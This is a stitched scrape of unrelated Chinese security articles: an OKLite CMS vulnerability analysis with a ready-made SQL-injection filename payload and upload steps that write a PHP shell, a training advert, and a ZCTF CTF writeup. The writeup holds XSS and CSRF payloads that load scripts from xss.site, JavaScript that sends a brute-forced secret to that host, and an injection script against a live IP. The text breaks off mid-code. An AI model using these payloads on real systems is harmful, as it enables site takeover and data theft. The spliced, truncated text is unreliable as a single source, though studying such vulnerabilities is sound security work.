除了对每个内容都进行了`addslashes()`处理，`get()`方法最后还会调用`$this->format()`。对`\ ' " <
>`都进行了实体化。
final public function format($msg,$type="safe",$ext="")
{
if($msg == ""){
return '';
}
if(is_array($msg)){
foreach($msg AS $key=>$value){
if(!is_numeric($key)){
$key2 = $this->format($key);
if($key2 == '' || in_array($key2,array('#','&','%'))){
unset($msg[$key]);
continue;
}
}
$msg[$key] = $this->format($value,$type,$ext);
}
if($msg && count($msg)>0){
return $msg;
}
return false;
}
if($type == 'html_js' || ($type == 'html' && $ext)){
$msg = stripslashes($msg);
if($this->app_id != 'admin'){
$msg = $this->lib('string')->xss_clean($msg);
}
$msg = $this->lib('string')->clear_url($msg,$this->url);
return addslashes($msg);
}
$msg = stripslashes($msg);
//格式化处理内容
switch ($type){
case 'safe':$msg = str_replace(array("\\","'",'"',"<",">"),array("\","'",""","<",">"),$msg);break;
//...省略
}
if($msg){
$msg = addslashes($msg);
}
return $msg;
}
基本上，使用`get()`获取数据的点，都很难进行利用了。
## 任意文件上传漏洞导致getshell(后台)
### module_control.php
#### 漏洞验证
在模块管理管理处导入模块，这里只能上传zip文件。把恶意文件放在zip压缩包中上传：
(我这里是包含了一个shell.php，内容是phpinfo)
上传后又访问了另一个地址：
上传之后就可以在`data\cache`看到shell.php被解压出来了。
#### 漏洞分析
根据上传时的地址可以找到处理上传的文件地址与具体的一个方法：
http://localhost/admin.php?c=upload&f=zip&PHPSESSION=s07fke8ifd03o50tqopdhjaof2&id=WU_FILE_0&name=zip.zip&type=application%2Fx-zip-compressed&lastModifiedDate=2019%2F10%2F4+%E4%B8%8B%E5%8D%8811%3A21%3A31&size=299
漏洞存在文件：framework\admin\upload_control.php
接受zip包的方法：
public function zip_f()
{
$rs = $this->lib('upload')->zipfile('upfile');
if($rs['status'] != 'ok'){
$this->json($rs['error']);
}
$this->json($rs['filename'],true);
}
这里调用了`zipfile`方法，继续跟踪到`framework\libs\upload.php`中：
public function zipfile($input,$folder='')
{
if(!$input){
return array('status'=>'error','content'=>P_Lang('未指定表单名称'));
}
//如果未指定存储文件夹，则使用
if(!$folder){
$folder = 'data/cache/';
}
$this->cateid = 0;
$this->set_dir($folder);
$this->set_type('zip');
$this->cate = array('id'=>0,'filemax'=>104857600,'root'=>$folder,'folder'=>'/','filetypes'=>'zip');
if(isset($_FILES[$input])){
$rs = $this->_upload($input);
}else{
$rs = $this->_save($input);
}
if($rs['status'] != 'ok'){
return $rs;
}
$rs['cate'] = $this->cate;
return $rs;
}
可以看到，默认放置的位置是`data/cache/`中。
`$_FILES['upload']`就是上传的zip文件流，接着就会调用`_upload()`方法：
`_upload()`是一个写入文件的方法，片段太长就不放了。可以知道的是写入zip文件的方法中没有对zip中是否存在恶意代码进行检测的。
接着来看上传后访问的另一个地址：
http://localhost/admin.php?c=module&f=import&zipfile=data/cache/6b28519d80b080f3.zip&_noCache=0.5889889215501739&_=1570204017508
由地址可知，文件地址：`framework\admin\module_control.php`，方法名：`import_r`
public function import_f()
{
$zipfile = $this->get('zipfile');
if(!$zipfile){
$this->lib('form')->cssjs(array('form_type'=>'upload'));
$this->addjs('js/webuploader/admin.upload.js');
$this->view('module_import');
}
if(strpos($zipfile,'..') !== false){
$this->json(P_Lang('不支持带..上级路径'));
}
if(!file_exists($this->dir_root.$zipfile)){
$this->json(P_Lang('ZIP文件不存在'));
}
$this->lib('phpzip')->unzip($this->dir_root.$zipfile,$this->dir_root.'data/cache/');
if(!file_exists($this->dir_root.'data/cache/module.xml')){
$this->json(P_Lang('导入模块失败，请检查解压缩是否成功'));
}
$rs = $info = $this->lib('xml')->read($this->dir_root.'data/cache/module.xml',true);
if(!$rs){
$this->json(P_Lang('XML内容解析异常'));
}
$tmp = $rs;
if(isset($tmp['_fields'])){
unset($tmp['_fields']);
}
$insert_id = $this->model('module')->save($tmp);
if(!$insert_id){
$this->json(P_Lang('模块导入失败，保存模块基本信息错误'));
}
$this->model('module')->create_tbl($insert_id);
$tbl_exists = $this->model('module')->chk_tbl_exists($insert_id);
if(!$tbl_exists){
$this->model('module')->delete($insert_id);
$this->json(P_Lang('创建模块表失败'));
}
if(isset($rs['_fields']) && $rs['_fields']){
foreach($rs['_fields'] as $key=>$value){
if($value['ext'] && is_array($value['ext'])){
$value['ext'] = serialize($value['ext']);
}
$value['module_id'] = $insert_id;
$this->model('module')->fields_save($value);
$this->model('module')->create_fields($insert_id,$value);
}
}
$this->lib('file')->rm($this->dir_root.'data/cache/module.xml');
$this->lib('file')->rm($this->dir_root.$zipfile);
$this->json(true);
}
这里使用`$this->get('zipfile')`获取刚刚上传的zip文件名，使用`$this->lib('phpzip')->unzip`进行解压。
继续跟踪：
public function unzip($file,$to='')
{
if(class_exists('ZipArchive')){
$zip = new ZipArchive;
$zip->open($file);
$zip->extractTo($to);
$zip->close();
return true;
}
if(function_exists('zip_open') && function_exists('zip_close')){
$zip = zip_open($file);
if($zip){
while ($zip_entry = zip_read($zip)) {
$file = basename(zip_entry_name($zip_entry));
$fp = fopen($to.basename($file), "w+");
if (zip_entry_open($zip, $zip_entry, "r")) {
$buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
zip_entry_close($zip_entry);
}
fwrite($fp, $buf);
fclose($fp);
}
zip_close($zip);
return true;
}
}
return $this->Extract($file,$to);
}
可见也没有对其中的文件进行检测，直接就将其解压并写入了。
除了项目管理之外，还有project_module.php也同样存在这个漏洞。漏洞原因也是一样的。
### plugin_control.php
#### 漏洞验证
和前一个module_control有所不同的是，这里的zip文件夹必须是包含一个文件夹，文件夹中再包含恶意文件。
插件中心：
验证方式同前一个，就不重复了。
上传完成之后会访问另一个地址：
http://localhost/admin.php?c=plugin&f=unzip&id=1196&_noCache=0.08112707662168439&_=1570257969464
#### 漏洞分析
framework\admin\plugin_control.php：
public function unzip_f()
{
$id = $this->get('id','int');
$rs = $this->model('res')->get_one($id);
if(!$rs){
$this->json(P_Lang('附件不存在'));
}
if($rs['ext'] != 'zip'){
$this->json(P_Lang('非ZIP文件不支持在线解压'));
}
if(!file_exists($this->dir_root.$rs['filename'])){
$this->json(P_Lang('文件不存在'));
}
$info = $this->lib('phpzip')->zip_info($this->dir_root.$rs['filename']);
$info = current($info);
if(!$info['filename']){
$this->json(P_Lang('插件有异常'));
}
$info = explode('/',$info['filename']);
if(!$info[0]){
$this->json(P_Lang('插件有异常'));
}
if(file_exists($this->dir_root.'plugins/'.$info[0])){
$this->json(P_Lang('插件已存在，不允许重复解压'));
}
if(!$info[1]){
$this->json(P_Lang('插件打包模式有问题'));
}
$this->lib('phpzip')->unzip($this->dir_root.$rs['filename'],$this->dir_root.'plugins/');
$this->json(true);
}
在使用get_one获取了文件信息之后，传入到了`$this->lib('phpzip')->zip_info();`中获取zip的信息传递给$info变量。
`zip_info()`会返回一个数组，成员1为压缩包中的第一个文件夹名称，成员2为文件夹中的第一个文件。
如果格式不是一个文件夹包含一个文件的话，`if(!$info[1])`这里就会报`插件打包模式有问题`的错误。
格式通过了之后就是直接解压了。
最后保存的目录为：WWW\plugins
## SQL注入导致getshell(前台)
这个漏洞在2017年在PHPOK当中就被畅师傅就被发现了。PHPOK系统被修复了，但是在OKLite当中还存在。
### 漏洞验证
地址：<http://localhost/index.php?id=message>
在线留言处上传一个图片并抓包，把文件名修改为：
1','pf3qm0js3gb2s5f33r7lf14vl3','30'),('1',0x7265732f3230313931302f30342f,'shell.jpg','jpg',0x7265732f3230313931302f30352f7368656c6c2e706870,'1570161575','abc
上传成功之后会返回图片的id和保存的路径：
再次上传一个图片，把地址中的save改成replace，添加一个参数名为`oldid`，值为图片的id + 1。
图片的内容改为恶意的php代码：
上传完成之后可在`res\201910\05`目录下生成一个shell.php
### 漏洞分析
文件地址为：`framework\www\upload_control.php`
//附件上传
public function save_f()
{
if(!$this->site['upload_guest']){
$this->json(P_Lang('系统已禁止游客上传，请联系管理员'));
}
$cateid = $this->get('cateid','int');
$rs = $this->upload_base('upfile',$cateid);
if(!$rs || $rs['status'] != 'ok'){
$this->json($rs['error']);
}
unset($rs['status']);
$rs['uploadtime'] = date("Y-m-d H:i:s",$rs['addtime']);
$this->json($rs,true);
}
这里调用了`$this->upload_base('upfile',$cateid);`进行文件上传
private function upload_base($input_name='upfile',$cateid=0)
{
$rs = $this->lib('upload')->getfile($input_name,$cateid);
if($rs["status"] != "ok"){
return $rs;
}
$array = array();
$array["cate_id"] = $rs['cate']['id'];
$array["folder"] = $rs['folder'];
$array["name"] = basename($rs['filename']);
$array["ext"] = $rs['ext'];
$array["filename"] = $rs['filename'];
$array["addtime"] = $this->time;
$array["title"] = $rs['title'];
$array['session_id'] = $this->session->sessid();
$arraylist = array("jpg","gif","png","jpeg");
if(in_array($rs["ext"],$arraylist)){
$img_ext = getimagesize($this->dir_root.$rs['filename']);
$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
$array["attr"] = serialize($my_ext);
}
$id = $this->model('res')->save($array);
if(!$id){
$this->lib('file')->rm($this->dir_root.$rs['filename']);
return array('status'=>'error','error'=>P_Lang('图片存储失败'));
}
$this->model('res')->gd_update($id);
$rs = $this->model('res')->get_one($id);
$rs["status"] = "ok";
return $rs;
}
在upload_base当中，使用`$this->lib('upload')->getfile($input_name,$cateid);`获取上传的文件。
framework\libs\upload.php中：
public function getfile($input='upfile',$cateid=0)
{
if(!$input){
return array('status'=>'error','content'=>P_Lang('未指定表单名称'));
}
$this->_cate($cateid); //获取一个文件分类的预设 表名res_cate
if(isset($_FILES[$input])){
$rs = $this->_upload($input);
}else{
$rs = $this->_save($input);
}
if($rs['status'] != 'ok'){
return $rs;
}
$rs['cate'] = $this->cate;
return $rs;
}
getfile()首先调用了`$this->_cate($cateid);`
获取cateid为1的文件分类预设，内容包括保存的地址，文件夹名称和文件类型。在数据库中：
接着调用了`$this->_upload($input)`：
private function _upload($input)
{
$basename = substr(md5(time().uniqid()),9,16);
$chunk = isset($_REQUEST["chunk"]) ? intval($_REQUEST["chunk"]) : 0;
$chunks = isset($_REQUEST["chunks"]) ? intval($_REQUEST["chunks"]) : 1;
$tmpname = $_FILES[$input]["name"];
$tmpid = 'u_'.md5($tmpname);
$ext = $this->file_ext($tmpname);
$out_tmpfile = $this->dir_root.'data/cache/'.$tmpid.'_'.$chunk;
if (!$out = @fopen($out_tmpfile.".parttmp", "wb")) {
return array('status'=>'error','error'=>P_Lang('无法打开输出流'));
}
$error_id = $_FILES[$input]['error'] ? $_FILES[$input]['error'] : 0;
if($error_id){
return array('status'=>'error','error'=>$this->up_error[$error_id]);
}
if(!is_uploaded_file($_FILES[$input]['tmp_name'])){
return array('status'=>'error','error'=>P_Lang('上传失败，临时文件无法写入'));
}
if(!$in = @fopen($_FILES[$input]["tmp_name"], "rb")) {
return array('status'=>'error','error'=>P_Lang('无法打开输入流'));
}
while ($buff = fread($in, 4096)) {
fwrite($out, $buff);
}
@fclose($out);
@fclose($in);
$GLOBALS['app']->lib('file')->mv($out_tmpfile.'.parttmp',$out_tmpfile.'.part');
$index = 0;
$done = true;
for($index=0;$index<$chunks;$index++) {
if (!file_exists($this->dir_root.'data/cache/'.$tmpid.'_'.$index.".part") ) {
$done = false;
break;
}
}
if(!$done){
return array('status'=>'error','error'=>'上传的文件异常');
}
$outfile = $this->folder.$basename.'.'.$ext;
if(!$out = @fopen($this->dir_root.$outfile,"wb")) {
return array('status'=>'error','error'=>P_Lang('无法打开输出流'));
}
if(flock($out,LOCK_EX)){
for($index=0;$index<$chunks;$index++) {
if (!$in = @fopen($this->dir_root.'data/cache/'.$tmpid.'_'.$index.'.part','rb')){
break;
}
while ($buff = fread($in, 4096)) {
fwrite($out, $buff);
}
@fclose($in);
$GLOBALS['app']->lib('file')->rm($this->dir_root.'data/cache/'.$tmpid."_".$index.".part");
}
flock($out,LOCK_UN);
}
@fclose($out);
$tmpname = $GLOBALS['app']->lib('string')->to_utf8($tmpname);
$title = str_replace(".".$ext,'',$tmpname);
return array('title'=>$title,'ext'=>$ext,'filename'=>$outfile,'folder'=>$this->folder,'status'=>'ok');
}
这里使用`$ext = $this->file_ext($tmpname);`获取文件的后缀，看下这个方法：
private function file_ext($tmpname)
{
$ext = pathinfo($tmpname,PATHINFO_EXTENSION);
if(!$ext){
return false;
}
$ext = strtolower($ext);
$cate_exts = ($this->cate && $this->cate['filetypes']) ? explode(",",$this->cate['filetypes']) : array('jpg','gif','png');
if(!in_array($ext,$cate_exts)){
return false;
}
return $ext;
}
这里的文件类型就是`getfile()`中调用的`$this->_cate($cateid);`获取得到的，这里值为`png,jpg,gif,rar,zip`。
由于使用`in_array`，无法进行绕过。
接着回看前面，使用了`$tmpname = $_FILES[$input]["name"];`获取了文件名。
而$tmpname这个变量没有经过任何的处理，直接到了最后去除后缀名赋值给了$title变量。
$title变量作为数组中title的键值返回。
再回看`_upload`，返回的数组中的每个值赋值到`$array`当中。
接着调用了 `$id = $this->model('res')->save($array);` 跟踪过去：
framework\model\res.php：
function save($data,$id=0)
{
if(!$data || !is_array($data)) return false;
if($id){
return $this->db->update_array($data,"res",array("id"=>$id));
}else{
return $this->db->insert_array($data,"res");
}
}
这里并没有赋值$id变量，进入到`$this->db->insert_array($data,"res");`，继续跟踪：
framework\engine\db\mysqli.php：
public function insert_array($data,$tbl,$type="insert")
{
if(!$tbl || !$data || !is_array($data)){
return false;
}
if(substr($tbl,0,strlen($this->prefix)) != $this->prefix){
$tbl = $this->prefix.$tbl;
}
$type = strtolower($type);
$sql = $type == 'insert' ? "INSERT" : "REPLACE";
$sql.= " INTO ".$tbl." ";
$sql_fields = array();
$sql_val = array();
foreach($data AS $key=>$value){
$sql_fields[] = "`".$key."`";
$sql_val[] = "'".$value."'";
}
$sql.= "(".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
return $this->insert($sql);
}
一个foreach循环将数组中的键名转换为字段名，键值转为要插入的值。
上传一个文件名叫xiaonan.jpg，最后拼接出来的sql语句为：
INSERT INTO qinggan_res (`cate_id`,`folder`,`name`,`ext`,`filename`,`addtime`,`title`,`session_id`,`attr`) VALUES('1','res/201910/05/','51514bdf089432f0.jpg','jpg','res/201910/04/51514bdf089432f0.jpg','1570161223','xiaonan','pf3qm0js3gb2s5f33r7lf14vl3','a:2:{s:5:"width";i:448;s:6:"height";i:400;}')
因为前面`_upload`中的`$tmpname`变量没有经过任何的处理，所以这里的xiaonan是可以控制的。这就会导致一个insert注入。
如果sql语句为：
INSERT INTO test (`username`, `password`) VALUES('1', '2'), ('3','4');
则会在test表中插入两行数据，利用这个点。可以向数据库中插入一个文件名都可以由我们控制的数据。
再配合upload_control.php中的`replace_f`方法就可以进行getshell。
replace_f(是一个用作替换文件的方法):
public function replace_f()
{
if(!$this->site['upload_guest']){
$this->json(P_Lang('系统已禁止游客上传，请联系管理员'));
}
$id = $this->get("oldid",'int');
if(!$id)
{
$this->json(P_Lang('没有指定要替换的附件'));
}
$old_rs = $this->model('res')->get_one($id);
if(!$old_rs){
$this->json(P_Lang('资源不存在'));
}
$rs = $this->lib('upload')->upload('upfile');
if($rs["status"] != "ok")
{
$this->json(P_Lang('附件上传失败'));
}
$arraylist = array("jpg","gif","png","jpeg");
$my_ext = array();
if(in_array($rs["ext"],$arraylist))
{
$img_ext = getimagesize($rs["filename"]);
$my_ext["width"] = $img_ext[0];
$my_ext["height"] = $img_ext[1];
}
//替换资源
$this->lib('file')->mv($rs["filename"],$old_rs["filename"]);
$tmp = array("addtime"=>$this->time);
$tmp["attr"] = serialize($my_ext);
$this->model('res')->save($tmp,$id);
//更新附件扩展信息
$this->model('res')->gd_update($id);
$rs = $this->model('res')->get_one($id);
$this->json($rs,true);
}
替换的步骤：
1. 获取了一个参数名为oldid:`$id = $this->get("oldid",'int');`
2. 使用`$this->model('res')->get_one($id);` 从数据库当中获取这个文件的信息传递给`$old_rs`变量
3. 使用`$this->lib('upload')->upload('upfile');`获取新上传的文件信息传递给`$rs`变量。
4. 使用`$this->lib('file')->mv($rs["filename"],$old_rs["filename"]);`进行文件的替换
来看mv()方法
/**
* 文件移动操作
* @参数 $old 旧文件（夹）
* @参数 $new 新文件（夹）
* @参数 $recover 是否覆盖
* @返回 false/true
**/
public function mv($old,$new,$recover=true)
{
if(!file_exists($old)){
return false;
}
if(substr($new,-1) == "/"){
$this->make($new,"dir"); //创建文件夹
}else{
$this->make($new,"file"); //创建文件
}
if(file_exists($new)){
if($recover){
unlink($new);
}else{
return false;
}
}else{
$new = $new.basename($old);
}
rename($old,$new);
return true;
}
从这个方法的定义当中就可以得知，会将新上传的文件名改为指定的id所获取到的文件名。
因为前面的Insert型的sql注入，我们能控制一个文件信息的文件名。
可以构造一个文件名以php结尾插入到数据库当中，当利用replace_f方法上传一个包含恶意php代码的文件时，就会写入一个.php后缀的文件，导致getshell。
文件信息在数据库当中：
于是构造文件名为：
1','pf3qm0js3gb2s5f33r7lf14vl3','30'),('1','res/201910/05/','shell.jpg','jpg','res/201910/05/shell.php','1570161575','abc
由于文件名无法包含`/`，所以把包含`/`的部分转换为16进制(前面加0x)：
1','pf3qm0js3gb2s5f33r7lf14vl3','30'),('1',0x7265732f3230313931302f30352f,'shell.jpg','jpg', 0x7265732f3230313931302f30352f7368656c6c2e706870,'1570161575','abc
上传后数据库中的文件信息：
由于上传后返回的图片的id是第一个数据，需要把id+1再赋值到replace中的oldid中。
上传时调用Replace_f的地址：
http://localhost/index.php?c=upload&f=replace&oldid=1
将上传的文件内容改为php代码上传即可。
PS：这里除了配合`replace_f`之外，修改文件的信息也可导致后台的储存型XSS。 | 社区文章 |
# 全年最后一次 | 谷安12·12冰点价来袭
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
CISSP、OSCP、CISM、DPO、CISA
CCSK、PMP、ISO27001 Foundation
……
**40+热门专业资质认证课程**
**年度人气好课 · 双12冰点价**
**活动时间：12月1日-12日**
**TOP课程限时免费试听**
**谷安口碑讲师专辑大放送**
**添加客服微信申请试听、了解活动详情**
**备注：** **安全客试听**
重磅来啦
▼ | 社区文章 |
# 【CTF攻略】第三届XCTF——郑州站ZCTF第一名战队Writeup
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[FlappyPig](http://bobao.360.cn/member/contribute?uid=1184812799)
预估稿费：500RMB
投稿方式：发送邮件至linwei#360.cn，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**Misc-Sign in**
据说有12s麒麟臂。
**
**
**Web-web100**
网页设计得很简单，首页只返回了ha? 没有其他链接，猜到可能会有源码。尝试过后在.index.php.swp文件中得到php源码
限制flag参数的md5必须为一个固定的0e开头的md5，并在同时在字符串中包含zctf，然后会输出flag。写好代码爆破一番得到zctf00=a8。得到flag
**Web-Find my eyes**
一开始会觉得是一个博客站，逻辑比较复杂，后来发现其实只有contact.php
文件中有一个留言功能，结合网站部署有csp。猜测是xss漏洞。然后测试4个参数。只有textarea有过滤，其他地方感觉不能正常写入html。然后textarea的过滤相当严格。找了很多用来加载外部资源的html关键字都被过滤。然后大师傅发现是高版本的jquery库，可以利用sourceMappingURL加载外部资源。最后成功的payload是
</textarea><script>var a=1//@ sourceMappingURL=//xss.site</script>
在服务器的http request里面user-agent中发现flag
**
**
**Web-easy apk**
打开APK后发现有两个窗口，一个用于验证用户名密码，一个用于提交邮件，APK会将用户名密码等信息提交到远程服务器做验证，提交前会对用户的输入做一次简单的加密。
加密函数位于libnative-lib.so中的Change函数中，如下，主要是使用密钥对数据进行循环的异或加密。在加密前会将输入字符串逆序。加密后转化为十六进制。
在加密前，changekey函数会对密钥做简单的修改，大概的逻辑是对原字符串每隔2个取一个字符。因此，在java层传入的密钥“1234567890”经过变换后成为“1470”。
因此根据上面的分析，可以写出与原APK逻辑一致的Python脚本
import requests
def enc(data):
key = '1470' * 30
data = data[::-1]
result = []
for i in range(len(data)):
tmp = ord(key[i]) ^ ord(data[i])
result.append(tmp)
return ''.join(['%.2x' % i for i in result])
def step1(username, password):
reply = requests.post('http://58.213.63.30:10005/', data={'username': enc(username), 'password': enc(password)})
print reply.text
return reply.json()
def step2(username, password, mail, title, body):
# body=40454641&password=0305&title=404546&username=&mail=4645
reply = requests.post('http://58.213.63.30:10005/mail.php',
data={'username': enc(username),
'password': enc(password),
'mail': enc(mail),
'title': enc(title),
'body': enc(body)})
print reply.text
return reply.json()
if __name__ == '__main__':
username = '1'
password = '2'
mail = '3'
title = '4'
body = '5'
if step1(username, password)['result'] == 'OK':
step2(username, password, mail, title, body)
队里的师傅反编译apk后查看逻辑，发现就是将数据内容与密钥1470循环亦或后正常的post提交。有两个页面，index.php用来登录
mail.php用来发邮件。首先发现参数有sql关键字的过滤，然后参数内容用‘or 1=1#
发现user返回了admin，但是result还是false，不能进行下一步发邮件的操作。然后思考能不能用union或者盲注把admin用户的password跑出来。但是（）被过滤，不能使用函数，时间盲注不了，然后password字段被过滤，布尔值注入也不能成功。然后发现用union%0aselect能成功绕过过滤，into被过滤，也不能成功写文件。然后可用的关键字还有order
by。两者结合发现自己union注入出来的列和原本的admin列同时存在的时候order by
3。然后回显中出现了username的那一列相对字典序要小一点。和盲注差不多就能跑出来了。认证过程放入step1函数，注入代码如下
for i in string.printable:
username = "'or 1=1 unionxa0select 2,'233','%s' order by 3 #"%i
print username
if step1(username, password)['username'] == 'admin':
print last
break
last=i
注入出来后md5解密。第二个接口是phpmailer漏洞，结合hint根目录不可写，在upload目录下写入php，得到flag
**
**
**Web-onlymyself**
大概浏览网站，有注册，登陆，修改个人资料，记录note，搜索note，提交bug这几个功能。
然后挨着测试是否有功能缺陷。admin是系统自带的，所以猜测flag在admin用户哪里。可以利用xss进入管理员账号。然后发现有交互的功能只存在于提交bug那里。然后发现漏洞链接那里存在xss漏洞。而且xss漏洞进去那个页面存在注入。后来才知道是设计不完善，于是重新思考，猜测会模拟管理员去点击提交的那一个链接，可以利用javascript伪协议或者csrf漏洞+selfxss。选择的后者，在更改个人资料的时候发现并没有验证csrftoken,所以写了一个利用csrf的html网页
<form id="ffrom" action="http://58.213.63.30:10003/checkProfile.php" method="POST" id="profile" enctype="multipart/form-data">
<input type="file" id="image" name="image" data-filename-placement="inside" style="left: -179.99px; top: 19.3333px;"></a>
<input name="nick" id="nick" value="<scriimgpt src=//xss.site/1.js>/*">
<input name="age" id="age" value ="2">
<input name="address" id="address" value="</scripimgt>">
<input class="btn btn-primary" id="submit" name="submit" type="submit" value="Submit"></div>
</form>
<script>submit.click()</script>
只要让服务器的bot先访问csrf网页，在访问首页就可以了。这样能成功xss到管理员。但是cookie有httponly标记，所以不能直接用管理员账号登录。读取了note.php网页后发现里面并没有flag。然后就思考会不会是利用search.php枚举flag。然后写出js代码。
tab="_0123456789abcdefghijklmnopqrstuvwxyz}"
str=''
$.ajaxSettings.async=false
while(true){
for(i=0;i<tab.length;i++){
//console.log(tab[i]);
flag=false
x=$.get('http://58.213.63.30:10003/search.php?keywords=zctf{'+str+''+tab[i]);
if(x.status==404) flag=true;
if(!flag) break;
}
str+=tab[i];
console.log(str);
if(tab[i]=='}') break;
}
location.href=’//xss.site’+str
其中有一个小坑，flag中包含_，而search.php代码里sql查询用的like来判断,直接输入_会被理解为匹配任意单个字符。需要用转义。$.get默认是异步提交，用$.ajaxSettings.async=false设置成同步提交，服务器正常执行完成后能够得到flag
**
**
**Misc-Russian Zip**
伪加密，我们可以利用010 Editor编辑器的模板功能，能更好的修改加密位。
deFlags 都修改为0
修改保存后，就能成功解压了。
后面队友发现，这是minecraft，游戏文件，打开后，FLAG在游戏地图中。
****
**Misc-whisper**
PNG用stegsolve打开看到某通道里有三个人名，rsa的作者，此为hint1。
打开starhere.exe，看到如下：
44个字节，每个字节逐位判断，这里有两个方法，第一个方法比较暴力，直接爆破字节看进correct的次数，用angr什么的都可以。第二个就是自己分析了。主要是sub_401000函数。进去后发现：
一个rsa，和hint1的提示相符，e是65537，n是那串，随便就能分解，太小了，然后解4010b0里面的那44个数即可：
n=2344088051
p=46099
q=50849
e=65537
import primefac
d=primefac.modinv(e,(p-1)*(q-1))%((p-1)*(q-1))
v=[1]*100
v[15] = 622838535
v[16] = 0x1E53E463
v[17] = 0x217153B7
v[18] = 0xED044EB
v[19] = 0x26EC91AF
v[20] = 0x4F8C7090
v[21] = 0x45E4F9BB
v[22] = 0x26EC91AF
v[23] = 0x6D04B642
v[24] = 0x26EC91AF
v[25] = 0xFF559EE
v[26] = 0x1E53E463
v[27] = 0x55C81190
v[28] = 0x55C81190
v[29] = 0x58006440
v[30] = 0x217153B7
v[31] = 0x26EC91AF
v[32] = 0x35F1D9B2
v[33] = 0x4D3D8957
v[34] = 0x35F1D9B2
v[35] = 0x26EC91AF
v[36] = 0x7172720E
v[37] = 0x1E53E463
v[38] = 0x6AC5D9F7
v[39] = 0x58006440
v[40] = 0x4710F19D
v[41] = 653037999
v[42] = 1476420672
v[43] = 561075127
v[44] = 2095854527
v[45] = -2030465449
v[46] = 1439175056
v[47] = 1476420672
v[48] = 1439175056
v[49] = 653037999
v[50] = 508814435
v[51] = 561075127
v[52] = 653037999
v[53] = 839707766
v[54] = 1829025346
v[55] = 1751579215
v[56] = 1476420672
v[57] = 695921644
v[58] = 872207435
for i in range(15,59):
print chr(pow(v[i],d,n)% 256) ,
此为hint2。
Hint1.png用winhex打开，后面一很大一串字符串
将数据拷贝出来，base64解密，将解密后的文件binwalk分离
可以直接从文件中找到rar的密码，解密得flag
**
**
**Reverse-QExtend**
这个程序有少量混淆，第一个是用call+pop指令使得ida没法正常反编译，第二个是修改了函数的返回地址。
在ida中进行修复到能正常f5.
分析功能，发现是个汉诺塔游戏。
初始状态:
需要达到的状态:
各操作码对应的操作：
手工完了下汉诺塔，得到的最短路径为053254104123104524104
操作码为input[i]%16-1，所以爆破了一下input，最终得到的flag为:
ZCTF{A&$#&5rA5r#$rA5rA5}
**
**
**Reverse-EasyReverse**
符号没去掉，encrypt_str函数，逆向完后发现是xtea算法，秘钥为：
print (chr(222)+chr(173)+chr(190)+chr(239)).encode("hex")
deadbeef
处理一下xtea解密即可得到flag，16字节有些许问题，补齐，然后利用python的xtea解密即可：
from xtea import *
x = new(k, mode=MODE_ECB)
print x.decrypt(v5)
**
**
**Reverse-CryptTab**
1. 首先是一个压缩包，有密码，不过在文件的末尾得到了压缩密码，解压得到一个data文件。
2. 看起来像shellcode，就用ida打开分析。发现对0x17开始的0x2200字节进行了0xcc异或操作。异或之后分析发现后面有一个dll，将其提取出来，用ida打开，可以发现导出了一个Encrypt函数。
3. 从程序上看代码异或解密完之后直接跳转到sub_17函数。分析sub_17函数，发现是一个获取kernel32.dll的地址，然后就执行不下去了，坑。
从ida的调用图上猜这儿应该跳转到sub_131。
4. 分析sub_131，有发现需要参数ebx，但是ebx赋什么并不知道，坑。
后来分析到sub_44，该函数为获取库函数的地址，第一个参数为dll的地址，第二个参数为函数的hash值，第二个参数从[ebx+1]处取得。
因为shellcode一般需要获取LoadLibraryA函数地址，算了一下LoadLibraryA的hash值为0xec0e4e8e，然后在shellcode中搜索这个值，还真找到了。
string = 'LoadLibraryA'
def rol(a):
return ((a<<0x13) | (a>>(32-0x13)))&0xffffffff
c = 0
for i in range(len(string)):
c = rol(c) + ord(string[i])
print hex(c)
所以ebx的值应该为0x310。
向下分析，可以看到程序得到了LoadLibrayA、VirtualAlloc和VirtualFree3个函数的地址，然后又执行不下去了，坑。
5. 然后就对着函数猜了。
应该就是对0x156处的0x10个字节和0x166处的0x30字节作为输入，加密得到的值与0x19a处的0x30字节进行比较。
6. 后面就是分析Encrypt函数，各种交换移位，我这种算法渣只能想到爆破了。
注：以下代码格式有修改，请读者自行调整。
int main()
{
unsigned char str[0x100] = "xF3x23xB5xA6xF5x6AxCBx88xD2xC6xD2x2Fx32xB9xC3xAAx32x9ExADxEEx8Cx22x2Dx45x62x67xFBxD9x64x46xF8xE7xC8x20x35x86xE9x98xBFxD5x55xCAx8Bx85x67x76x19x9A";
printf("len=%dn", strlen((char*)str));
HMODULE handle = LoadLibraryA("DLL_Export.dll");
ENCRYPT ProcAddr;
ProcAddr = (ENCRYPT)GetProcAddress(handle, "Encrypt");
printf("%xn", ProcAddr);
unsigned char c1[]= "x21x23x25x26x2a";
unsigned char c3[]="x43x45x47x49x4b";
unsigned char c2[]="x35x36x37x38x39";
unsigned char input[17];
//for(int i0=0;i0<5;i0++)
int i0 =4;
printf("i0=%dn", i0);
{
for(int i1=0;i1<5;i1++)
{
printf("i1=%dn", i1);
for(int i2=0;i2<5;i2++)
{
for(int i3=0;i3<5;i3++)
{
printf("i3=%dn", i3);
for(int i4=0;i4<5;i4++)
{
for(int i5=0;i5<5;i5++)
{
for(int i6=0;i6<5;i6++)
{
for(int i7=0;i7<5;i7++)
{
for(int i8=0;i8<5;i8++)
{
for(int i9=0;i9<5;i9++)
{
for(int i10=0;i10<5;i10++)
{
for(int i11=0;i11<5;i11++)
{
for(int i12=0;i12<5;i12++)
{
for(int i13=0;i13<5;i13++)
{
for(int i14=0;i14<5;i14++)
{
input[0] = c1[i0];
input[1] = c2[i1];
input[2] = c3[i2];
input[3] = c1[i3];
input[4] = c2[i4];
input[5] = c3[i5];
input[6] = c1[i6];
input[7] = c2[i7];
input[8] = c3[i8];
input[9] = c1[i9];
input[10] = c2[i10];
input[11] = c3[i11];
input[12] = c1[i12];
input[13] = c2[i13];
input[14] = c3[i14];
input[15] ='x24';
input[16]='x00';
